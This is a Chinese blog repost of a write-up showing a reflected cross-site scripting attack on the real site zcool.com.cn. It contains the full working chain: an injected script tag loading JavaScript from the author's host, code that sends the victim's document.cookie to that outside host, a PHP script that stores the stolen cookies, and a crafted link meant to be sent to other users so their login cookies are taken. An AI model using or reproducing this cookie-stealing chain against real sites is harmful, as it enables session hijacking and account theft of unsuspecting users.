以往只是知道xss是用来弹窗的,但是作为一种危险的漏洞,它到底有什么危害呢,今天我见识了一下,感觉很强,于是在这转载一下。
原文:https://www.cnblogs.com/chyingp/archive/2013/06/06/zcool-xss.html
首先分析了下站酷的页面表现神马的,发现它是将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:
<script src="http://saintcoder.duapp.com/joke/joke.js"></script>
于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是:将页面的cookie最为参数附加到url后面
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);
然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~
复制代码
<?php
@ini_set('display_errors',1);
$str = $_GET['joke'];
$filePath = "joke.php";
if(is_writable($filePath)==false){
echo "can't write";
}else{
$handler = fopen(filePath, "a");
fwrite($handler, $str);
fclose($handler);
}
?>
复制代码
很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户
http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E
毫无压力所有cookie到手,如果当时用户登录中效果更佳 😃